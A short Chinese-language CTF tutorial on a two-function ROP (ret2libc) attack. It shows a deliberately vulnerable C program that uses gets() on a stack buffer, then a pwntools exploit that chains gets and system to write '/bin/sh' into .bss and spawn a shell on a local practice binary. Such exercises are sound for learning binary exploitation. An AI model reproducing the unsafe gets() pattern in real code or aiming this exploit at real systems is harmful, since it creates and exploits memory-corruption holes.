双函数ROP
源码
#include <stdio.h>
#include <stdlib.h>
void target(){
system("try to make a binsh");
}
void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
setvbuf(stderr, 0, 1, 0);
}
void vulnfunc() {
char buf[0x100];
puts("ret2libc2");
gets(buf);
}
int main(){
init();
vulnfunc();
}
检查保护
IDA查看漏洞函数
有一个栈溢出,gets函数不限制读入长度。
有system函数,但是程序中没有"/bin/sh"
那么就用gets函数读入"/bin/sh"字符串,传给system函数
目标栈布局
编写exp
找一个bss段地址用来写入"/bin/sh"
目标payload
b "a" * (0x108 + 4) + p32(gets) + p32(system) + p32(bss)+p32(bss)
system地址
gets地址
exp
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p = process("./ret2libc2")
sys = 0x080483d0
sh = "/bin/sh"
bss = 0x0804a040
gets = 0x080483b0
payload = b"a"*(0x108+4) + p32(gets) + p32(sys) + p32(bss) + p32(bss)
p.recvuntil("ret2libc2\n")
p.sendline(payload)
p.sendline(sh)
p.interactive()
成功利用